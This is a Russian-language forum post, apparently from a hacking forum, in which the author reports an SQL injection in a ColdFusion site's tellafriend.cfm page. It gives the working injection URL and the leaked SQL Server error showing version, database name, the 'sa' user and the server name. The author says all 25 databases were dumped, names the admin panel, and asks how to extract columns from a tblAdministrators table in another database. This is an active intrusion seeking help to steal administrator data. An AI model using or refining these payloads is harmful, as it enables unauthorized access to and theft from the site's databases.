Всем привет. Нашел уязвимость ColdFusion
Цитата:
_http://www.site.com/**msg/tellafriend.cfm?link=25+or+1=(select+@@version%2bc har(58)%2bdb_name()%2bchar(58)%2bsystem_user%2bcha r(58)%2b@@servername)--
|
Цитата:
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) :SiteBase:sa:U42-A07' to a column of data type int.
|
Морковкой вытянул все базы (их 25), сдампил все таблицы из баз. Но есть проблема. Колумны из таблиц из базы SiteBase (из нашей) выводятся все, но в них нет ничего интересного. Сдампил все таблицы из всех баз, но вот колумны вытянуть из них вытянуть не могу. Выводится только первая колонка, и переходит к следующей таблице.
Нашел админку
http://www.site.com/**msg/admin/
Как правильно составить запрос, чтобы вытянуть
все колонки из необходимых мне таблиц, из других баз, кроме SiteBase? Сталкиваюсь впервые.
К примеру мне надо вытянуть все колумны из таблицы tblAdministrators базы SingleBase
Как в таком случае правильно составить запрос?